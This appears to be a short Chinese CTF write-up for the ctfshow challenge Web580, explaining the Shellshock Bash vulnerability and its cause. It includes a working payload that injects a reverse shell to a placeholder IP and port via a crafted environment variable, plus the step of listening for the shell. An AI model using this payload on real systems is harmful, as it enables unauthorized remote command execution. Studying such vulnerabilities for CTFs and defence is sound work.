ctfshow-组件漏洞


组件漏洞

Web580(破壳)

“破壳“ 是Bash中出现允许攻击者通过环境变量执行任意命令的漏洞

  • 利用条件:

    Bash版本小于等于4.3或出现以下回显则会证明漏洞的存在

    img

​ 不存在漏洞的bash:

image-20220113105749724

基本知识:
 bash: 开启一个新的子进程
 env: 显示环境变量

漏洞原理

该Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数,Bahs执行并未退出,而是继续解析并执行shell命令,而其核心的原因在于在输入的过滤中没有严格的限制边界,也没有做出合法的参数判断

img

image-20220113141716588

Payload:

(){:;};/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1

xxx代表ip地址和端口号

  • 之后在自己的服务器进行监听端口号,等shell
  • image-20220113142651571

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录